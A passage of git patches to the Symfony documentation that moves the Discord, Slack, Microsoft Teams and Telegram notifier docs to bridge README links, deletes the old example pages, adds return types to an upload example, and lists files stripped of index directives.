+`Discord`_                               ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 `FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
 `Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
 `Gitter`_                                ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
@@ -236,10 +236,10 @@ Service                                  Package                               D
 `LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
 `Mattermost`_                            ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 `Mercure`_                               ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
-:doc:`MicrosoftTeams <notifier/teams>`   ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+`MicrosoftTeams`_                        ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
 `RocketChat`_                            ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-:doc:`Slack <notifier/slack>`            ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
-:doc:`Telegram <notifier/telegram>`      ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+`Slack`_                                 ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+`Telegram`_                              ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
@@ -914,6 +914,7 @@ is dispatched. Listeners receive a
 .. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md
 .. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
+.. _`Discord`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Discord/README.md
 .. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md
 .. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md
 .. _`FakeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeSms/README.md
@@ -931,6 +932,7 @@ is dispatched. Listeners receive a
 .. _`Mercure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mercure/README.md
 .. _`MessageBird`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageBird/README.md
 .. _`MessageMedia`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageMedia/README.md
+.. _`MicrosoftTeams`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MicrosoftTeams/README.md
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
@@ -939,11 +941,13 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
+.. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
+.. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md
 .. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md
 .. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md
 .. _`Twilio`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twilio/README.md
diff --git a/notifier/discord.rst b/notifier/discord.rst
deleted file mode 100644
index d7315b73f3d..00000000000
--- a/notifier/discord.rst
+++ /dev/null
@@ -1,62 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-Discord Notifier
-================
-
-The Discord Notifier package allows to use Discord via the Symfony Notifier
-component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
-and configuring that component.
-
-Adding Interactions to a Message
---------------------------------
-
-With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
-to add some interactive options called `Embed elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Discord Embed
-    $discordOptions = (new DiscordOptions())
-        ->username('connor bot')
-        ->addEmbed((new DiscordEmbed())
-            ->color(2021216)
-            ->title('New song added!')
-            ->thumbnail((new DiscordMediaEmbedObject())
-            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Track')
-                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Artist')
-                ->value('Alasdair Fraser')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Album')
-                ->value('Dawn Dance')
-                ->inline(true)
-            )
-            ->footer((new DiscordFooterEmbedObject())
-                ->text('Added ...')
-                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($discordOptions);
-
-    $chatter->send($chatMessage);
-
-.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
diff --git a/notifier/slack.rst b/notifier/slack.rst
deleted file mode 100644
index 8904ed6ad34..00000000000
--- a/notifier/slack.rst
+++ /dev/null
@@ -1,210 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-Slack Notifier
-==============
-
-The Slack Notifier package allows to use Slack via the Symfony Notifier
-component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
-and configuring that component.
-
-Adding Interactions to a Message
---------------------------------
-
-With a Slack message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
-to add some interactive options called `Block elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Contribute To Symfony');
-
-    // Create Slack Actions Block and add some buttons
-    $contributeToSymfonyBlocks = (new SlackActionsBlock())
-        ->button(
-            'Improve Documentation',
-            'https://symfony.com/doc/current/contributing/documentation/standards.html',
-            'primary'
-        )
-        ->button(
-            'Report bugs',
-            'https://symfony.com/doc/current/contributing/code/bugs.html',
-            'danger'
-        );
-
-    $slackOptions = (new SlackOptions())
-        ->block((new SlackSectionBlock())
-            ->text('The Symfony Community')
-            ->accessory(
-                new SlackImageBlockElement(
-                    'https://symfony.com/favicons/apple-touch-icon.png',
-                    'Symfony'
-                )
-            )
-        )
-        ->block(new SlackDividerBlock())
-        ->block($contributeToSymfonyBlocks);
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($slackOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Fields and Values to a Message
--------------------------------------
-
-To add fields and values to your message you can use the
-:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/field-method.png
-   :align: center
-
-.. versionadded:: 5.1
-
-    The `field()` method was introduced in Symfony 5.1.
-
-Adding a Header to a Message
-----------------------------
-
-To add a header to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackHeaderBlock('My Header')))
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-header.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
-
-Adding a Footer to a Message
-----------------------------
-
-To add a footer to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $contextBlock = (new SlackContextBlock())
-        ->text('My Context')
-        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
-    ;
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        )
-        ->block($contextBlock)
-    ;
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-footer.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
-
-Sending a Message as a Reply
-----------------------------
-
-To send your slack message as a reply in a thread use the
-:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My reply'))
-        ->threadTs('1621592155.003100')
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/message-reply.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``threadTs()`` method was introduced in Symfony 5.3.
-
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
diff --git a/notifier/teams.rst b/notifier/teams.rst
deleted file mode 100644
index b638bfdcc16..00000000000
--- a/notifier/teams.rst
+++ /dev/null
@@ -1,103 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-Microsoft Teams Notifier
-========================
-
-The Microsoft Teams Notifier package allows to use Microsoft Teams via the Symfony
-Notifier component. Read the :doc:`main Notifier docs </notifier>` to learn about
-installing and configuring that component.
-
-Adding text to a Message
-------------------------
-
-With a Microsoft Teams, you can use the ChatMessage class::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message.png
-   :align: center
-
-Adding Interactions to a Message
---------------------------------
-
-With a Microsoft Teams Message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
-to add `MessageCard options`_::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Action elements
-    $input = new TextInput();
-    $input->id('input_title');
-    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
-
-    $inputDate = new DateInput();
-    $inputDate->title('Proposed date')->id('input_date');
-
-    // Create Microsoft Teams MessageCard
-    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
-        ->title('Symfony Online Meeting')
-        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
-        ->summary('Summary')
-        ->themeColor('#F4D35E')
-        ->section((new Section())
-            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
-            ->fact((new Fact())
-                ->name('Presenter')
-                ->value('Fabien Potencier')
-            )
-            ->fact((new Fact())
-                ->name('Speaker')
-                ->value('Patricia Smith')
-            )
-            ->fact((new Fact())
-                ->name('Duration')
-                ->value('90 min')
-            )
-            ->fact((new Fact())
-                ->name('Date')
-                ->value('TBA')
-            )
-        )
-        ->action((new ActionCard())
-            ->name('ActionCard')
-            ->input($input)
-            ->input($inputDate)
-            ->action((new HttpPostAction())
-                ->name('Add comment')
-                ->target('http://target')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($microsoftTeamsOptions);
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message-card.png
-   :align: center
-
-.. versionadded:: 5.4
-
-    Options for Microsoft Teams were introduced in Symfony 5.4.
-
-.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
diff --git a/notifier/telegram.rst b/notifier/telegram.rst
deleted file mode 100644
index 0ce6854b7f2..00000000000
--- a/notifier/telegram.rst
+++ /dev/null
@@ -1,43 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-Telegram Notifier
-=================
-
-The Telegram Notifier package allows to use Telegram via the Symfony Notifier
-component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
-and configuring that component.
-
-Adding Interactions to a Message
---------------------------------
-
-With a Telegram message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
-to add `message options`_::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Telegram options
-    $telegramOptions = (new TelegramOptions())
-        ->chatId('@symfonynotifierdev')
-        ->parseMode('MarkdownV2')
-        ->disableWebPagePreview(true)
-        ->disableNotification(true)
-        ->replyMarkup((new InlineKeyboardMarkup())
-            ->inlineKeyboard([
-                (new InlineKeyboardButton('Visit symfony.com'))
-                    ->url('https://symfony.com/'),
-            ])
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($telegramOptions);
-
-    $chatter->send($chatMessage);
-
-.. _`message options`: https://core.telegram.org/bots/api

From 68136056ef8ca155cd9b331798a39287aa30b0e0 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 25 Mar 2023 23:13:37 +0100
Subject: [PATCH 4485/7107] Update upload_file.rst

Fix bug return type
---
 controller/upload_file.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index ac96b4207bb..2b803ef0f40 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -34,7 +34,7 @@ add a PDF brochure for each product. To do so, add a new property called
             return $this->brochureFilename;
         }
 
-        public function setBrochureFilename(string $brochureFilename)
+        public function setBrochureFilename(string $brochureFilename): self
         {
             $this->brochureFilename = $brochureFilename;
 
@@ -94,7 +94,7 @@ so Symfony doesn't try to get/set its value from the related entity::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Product::class,

From d7e844d9f2d4962baa1f57140224945ef1171316 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 27 Mar 2023 19:56:40 +0200
Subject: [PATCH 4486/7107] Remove index directive

---
 bundles.rst                                   |  3 --
 bundles/best_practices.rst                    |  6 ----
 bundles/configuration.rst                     |  4 ---
 bundles/extension.rst                         |  4 ---
 bundles/override.rst                          |  3 --
 bundles/prepend_extension.rst                 |  4 ---
 cache.rst                                     |  3 --
 components/asset.rst                          |  4 ---
 components/browser_kit.rst                    |  4 ---
 components/cache.rst                          |  5 ---
 components/cache/adapters/apcu_adapter.rst    |  4 ---
 .../cache/adapters/array_cache_adapter.rst    |  4 ---
 components/cache/adapters/chain_adapter.rst   |  4 ---
 .../adapters/couchbasebucket_adapter.rst      |  4 ---
 .../adapters/couchbasecollection_adapter.rst  |  4 ---
 .../cache/adapters/doctrine_adapter.rst       |  4 ---
 .../cache/adapters/filesystem_adapter.rst     |  4 ---
 .../cache/adapters/memcached_adapter.rst      |  4 ---
 .../adapters/pdo_doctrine_dbal_adapter.rst    |  4 ---
 .../adapters/php_array_cache_adapter.rst      |  4 ---
 .../cache/adapters/php_files_adapter.rst      |  4 ---
 components/cache/adapters/proxy_adapter.rst   |  4 ---
 components/cache/adapters/redis_adapter.rst   |  4 ---
 components/cache/cache_invalidation.rst       |  4 ---
 components/cache/cache_items.rst              |  5 ---
 components/cache/cache_pools.rst              | 11 -------
 components/cache/psr6_psr16_adapters.rst      |  5 ---
 components/config.rst                         |  4 ---
 components/config/caching.rst                 |  3 --
 components/config/definition.rst              |  3 --
 components/config/resources.rst               |  3 --
 components/console.rst                        |  4 ---
 .../console/changing_default_command.rst      |  3 --
 components/console/console_arguments.rst      |  3 --
 components/console/events.rst                 |  3 --
 components/console/helpers/cursor.rst         |  3 --
 .../console/helpers/debug_formatter.rst       |  3 --
 .../console/helpers/formatterhelper.rst       |  3 --
 components/console/helpers/index.rst          |  3 --
 components/console/helpers/processhelper.rst  |  3 --
 components/console/helpers/progressbar.rst    |  3 --
 components/console/helpers/questionhelper.rst |  3 --
 components/console/helpers/table.rst          |  3 --
 components/console/logger.rst                 |  3 --
 components/console/single_command_tool.rst    |  3 --
 components/console/usage.rst                  |  3 --
 components/contracts.rst                      |  4 ---
 components/css_selector.rst                   |  4 ---
 components/dependency_injection.rst           |  4 ---
 .../dependency_injection/compilation.rst      |  3 --
 components/dependency_injection/workflow.rst  |  3 --
 components/dom_crawler.rst                    |  4 ---
 components/event_dispatcher.rst               | 31 ------------------
 .../container_aware_dispatcher.rst            |  3 --
 components/event_dispatcher/generic_event.rst |  3 --
 .../event_dispatcher/immutable_dispatcher.rst |  3 --
 .../event_dispatcher/traceable_dispatcher.rst |  4 ---
 components/expression_language.rst            | 14 --------
 components/filesystem.rst                     |  3 --
 components/finder.rst                         |  4 ---
 components/form.rst                           |  4 ---
 components/http_foundation.rst                |  5 ---
 components/http_kernel.rst                    |  5 ---
 components/inflector.rst                      |  4 ---
 components/intl.rst                           |  4 ---
 components/ldap.rst                           |  4 ---
 components/lock.rst                           |  4 ---
 components/messenger.rst                      |  4 ---
 components/mime.rst                           |  5 ---
 components/options_resolver.rst               |  4 ---
 components/phpunit_bridge.rst                 |  4 ---
 components/process.rst                        |  4 ---
 components/property_access.rst                |  4 ---
 components/property_info.rst                  |  4 ---
 components/psr7.rst                           |  3 --
 components/runtime.rst                        |  4 ---
 components/semaphore.rst                      |  4 ---
 components/serializer.rst                     |  4 ---
 components/string.rst                         |  4 ---
 components/uid.rst                            |  4 ---
 components/using_components.rst               |  4 ---
 components/validator.rst                      |  4 ---
 components/validator/metadata.rst             |  3 --
 components/validator/resources.rst            |  3 --
 components/var_dumper.rst                     |  8 -----
 components/var_exporter.rst                   |  4 ---
 components/workflow.rst                       |  4 ---
 components/yaml.rst                           |  4 ---
 configuration.rst                             |  6 ----
 configuration/env_var_processors.rst          |  3 --
 .../front_controllers_and_kernel.rst          | 10 ------
 configuration/multiple_kernels.rst            |  3 --
 configuration/override_dir_structure.rst      |  3 --
 configuration/secrets.rst                     |  3 --
 configuration/using_parameters_in_dic.rst     |  3 --
 console.rst                                   |  3 --
 console/command_in_controller.rst             |  3 --
 console/commands_as_services.rst              |  3 --
 console/style.rst                             |  3 --
 controller.rst                                | 32 -------------------
 controller/argument_value_resolver.rst        |  3 --
 controller/error_pages.rst                    |  4 ---
 controller/forwarding.rst                     |  3 --
 controller/service.rst                        |  3 --
 controller/upload_file.rst                    |  3 --
 deployment.rst                                |  3 --
 doctrine.rst                                  |  3 --
 doctrine/associations.rst                     |  3 --
 doctrine/custom_dql_functions.rst             |  3 --
 doctrine/dbal.rst                             |  3 --
 doctrine/events.rst                           |  3 --
 doctrine/multiple_entity_managers.rst         |  3 --
 doctrine/registration_form.rst                |  5 ---
 doctrine/resolve_target_entity.rst            |  4 ---
 doctrine/reverse_engineering.rst              |  3 --
 email.rst                                     |  3 --
 event_dispatcher.rst                          |  4 ---
 form/button_based_validation.rst              |  3 --
 form/create_custom_field_type.rst             |  3 --
 form/create_form_type_extension.rst           |  3 --
 form/data_based_validation.rst                |  3 --
 form/data_mappers.rst                         |  3 --
 form/data_transformers.rst                    |  3 --
 form/direct_submit.rst                        |  3 --
 form/disabling_validation.rst                 |  3 --
 form/dynamic_form_modification.rst            |  3 --
 form/embedded.rst                             |  3 --
 form/events.rst                               |  3 --
 form/form_collections.rst                     |  3 --
 form/form_customization.rst                   |  3 --
 form/form_themes.rst                          |  4 ---
 form/inherit_data_option.rst                  |  3 --
 form/multiple_buttons.rst                     |  3 --
 form/type_guesser.rst                         |  3 --
 form/unit_testing.rst                         |  3 --
 form/use_empty_data.rst                       |  3 --
 form/validation_groups.rst                    |  3 --
 form/without_class.rst                        |  3 --
 forms.rst                                     |  3 --
 frontend/create_ux_bundle.rst                 |  3 --
 frontend/custom_version_strategy.rst          |  3 --
 frontend/ux.rst                               |  3 --
 http_cache.rst                                | 26 ---------------
 http_cache/cache_invalidation.rst             |  3 --
 http_cache/cache_vary.rst                     |  4 ---
 http_cache/esi.rst                            |  4 ---
 http_cache/expiration.rst                     | 11 -------
 http_cache/ssi.rst                            |  4 ---
 http_cache/validation.rst                     | 15 ---------
 http_cache/varnish.rst                        |  9 ------
 http_client.rst                               |  4 ---
 introduction/from_flat_php_to_symfony.rst     |  3 --
 introduction/http_fundamentals.rst            | 15 ---------
 lock.rst                                      |  3 --
 logging/channels_handlers.rst                 |  3 --
 logging/monolog_console.rst                   |  3 --
 logging/monolog_email.rst                     |  3 --
 logging/monolog_exclude_http_codes.rst        |  5 ---
 mercure.rst                                   |  3 --
 messenger.rst                                 |  3 --
 messenger/dispatch_after_current_bus.rst      |  3 --
 messenger/handler_results.rst                 |  3 --
 messenger/multiple_buses.rst                  |  3 --
 migration.rst                                 |  3 --
 notifier.rst                                  |  6 ----
 page_creation.rst                             |  6 ----
 performance.rst                               |  3 --
 profiler.rst                                  |  3 --
 reference/attributes.rst                      |  3 --
 reference/configuration/debug.rst             |  3 --
 reference/configuration/doctrine.rst          |  8 -----
 reference/configuration/framework.rst         |  3 --
 reference/configuration/kernel.rst            |  3 --
 reference/configuration/monolog.rst           |  3 --
 reference/configuration/security.rst          |  3 --
 reference/configuration/swiftmailer.rst       |  3 --
 reference/configuration/twig.rst              |  3 --
 reference/configuration/web_profiler.rst      |  3 --
 reference/formats/expression_language.rst     |  3 --
 reference/formats/message_format.rst          |  3 --
 reference/formats/yaml.rst                    |  3 --
 reference/forms/types.rst                     |  3 --
 reference/forms/types/birthday.rst            |  3 --
 reference/forms/types/button.rst              |  3 --
 reference/forms/types/checkbox.rst            |  3 --
 reference/forms/types/choice.rst              |  3 --
 reference/forms/types/collection.rst          |  3 --
 reference/forms/types/color.rst               |  3 --
 reference/forms/types/country.rst             |  3 --
 reference/forms/types/currency.rst            |  3 --
 reference/forms/types/date.rst                |  3 --
 reference/forms/types/dateinterval.rst        |  3 --
 reference/forms/types/datetime.rst            |  3 --
 reference/forms/types/email.rst               |  3 --
 reference/forms/types/entity.rst              |  3 --
 reference/forms/types/enum.rst                |  3 --
 reference/forms/types/file.rst                |  3 --
 reference/forms/types/form.rst                |  3 --
 reference/forms/types/hidden.rst              |  3 --
 reference/forms/types/integer.rst             |  3 --
 reference/forms/types/language.rst            |  3 --
 reference/forms/types/locale.rst              |  3 --
 reference/forms/types/money.rst               |  3 --
 reference/forms/types/number.rst              |  3 --
 reference/forms/types/password.rst            |  3 --
 reference/forms/types/percent.rst             |  3 --
 reference/forms/types/radio.rst               |  3 --
 reference/forms/types/range.rst               |  3 --
 reference/forms/types/repeated.rst            |  3 --
 reference/forms/types/reset.rst               |  3 --
 reference/forms/types/search.rst              |  3 --
 reference/forms/types/submit.rst              |  3 --
 reference/forms/types/tel.rst                 |  3 --
 reference/forms/types/text.rst                |  3 --
 reference/forms/types/textarea.rst            |  3 --
 reference/forms/types/time.rst                |  3 --
 reference/forms/types/timezone.rst            |  3 --
 reference/forms/types/ulid.rst                |  3 --
 reference/forms/types/url.rst                 |  3 --
 reference/forms/types/uuid.rst                |  3 --
 reference/forms/types/week.rst                |  3 --
 reference/twig_reference.rst                  |  3 --
 routing.rst                                   |  3 --
 routing/custom_route_loader.rst               |  3 --
 routing/routing_from_database.rst             |  3 --
 security.rst                                  |  3 --
 security/access_denied_handler.rst            |  3 --
 security/csrf.rst                             |  3 --
 security/expressions.rst                      |  3 --
 security/firewall_restriction.rst             |  3 --
 security/force_https.rst                      |  3 --
 security/form_login.rst                       |  3 --
 security/impersonating_user.rst               |  3 --
 security/ldap.rst                             |  3 --
 security/login_link.rst                       |  4 ---
 security/remember_me.rst                      |  3 --
 security/user_checkers.rst                    |  3 --
 security/voters.rst                           |  3 --
 serializer.rst                                |  3 --
 serializer/custom_encoders.rst                |  3 --
 serializer/custom_normalizer.rst              |  3 --
